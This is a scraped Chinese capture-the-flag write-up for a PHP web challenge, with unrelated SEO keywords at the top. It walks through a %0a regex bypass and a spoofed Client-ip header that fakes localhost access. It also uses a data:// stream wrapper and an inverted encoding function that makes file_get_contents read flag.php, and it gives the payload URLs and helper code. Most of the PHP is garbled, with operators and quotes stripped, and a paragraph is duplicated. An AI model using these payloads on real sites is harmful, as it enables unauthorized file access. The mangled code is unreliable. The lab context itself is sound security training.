网站开发实战视频,wordpress 上传svg,东莞网站设计师,凡科互动电脑版查看源码发现 PHP非法参数名传参问题#xff0c;详细请参考我的这篇文章#xff1a;谈一谈PHP中关于非法参数名传参问题
正则这里绕过使用%0a换行符绕过#xff0c;payload: /?b.u.p.t23333%0a
得到下一步信息#xff1a;secrettw.php 注释中的是JsFuck#xff0c;用这…查看源码发现 PHP非法参数名传参问题详细请参考我的这篇文章谈一谈PHP中关于非法参数名传参问题
正则这里绕过使用%0a换行符绕过payload: /?b.u.p.t23333%0a
得到下一步信息secrettw.php 注释中的是JsFuck用这个网站去运行即可得到信息https://jsfuck.com POST传个Merakmochu7即可查看源码
?php
error_reporting(0);
include takeip.php;
ini_set(open_basedir,.);
include flag.php;if(isset($_POST[Merak])){ highlight_file(__FILE__); die();
} function change($v){ $v base64_decode($v); $re ; for($i0;$istrlen($v);$i){ $re . chr ( ord ($v[$i]) $i*2 ); } return $re;
}
echo Local access only!.br/;
$ip getIp();
if($ip!127.0.0.1)
echo Sorry,you dont have permission! Your ip is :.$ip;
if($ip 127.0.0.1 file_get_contents($_GET[2333]) todat is a happy day ){
echo Your REQUEST is:.change($_GET[file]);
echo file_get_contents(change($_GET[file])); }
?这里这个getIp()尝试过常见的XFF绕过方法无效这里也不知道takeip.php也是看别人的Writeup才知道要添加一个Client-ip请求字段至于file_get_contents($_GET[2333]) todat is a happy day 都是老生常谈的考点了伪协议php://或者data://传入即可。
至于change($_GET[file])逆一下change()方法即可控制file_get_contents()读取文件
?php
function change($v) {$v base64_decode($v);$re ;for ($i0; $i strlen($v); $i) { $re . chr(ord($v[$i]) $i * 2);}return $re;
}function unChange($v){$re ;for ($i0; $i strlen($v); $i) { $re . chr(ord($v[$i]) - $i * 2);}$re base64_encode($re);return $re;
}$data flag.php;
var_dump(Unchange($data));?PS C:\Users\Administrator\Downloads php .\code.php
C:\Users\Administrator\Downloads\code.php:22:
string(12) ZmpdYSZmXGI注意需要添加个请求字段Client-ip: 127.0.0.1
/secrettw.php?2333data:text/plain,todat is a happy dayfileZmpdYSZmXGI查看源码即可获得flag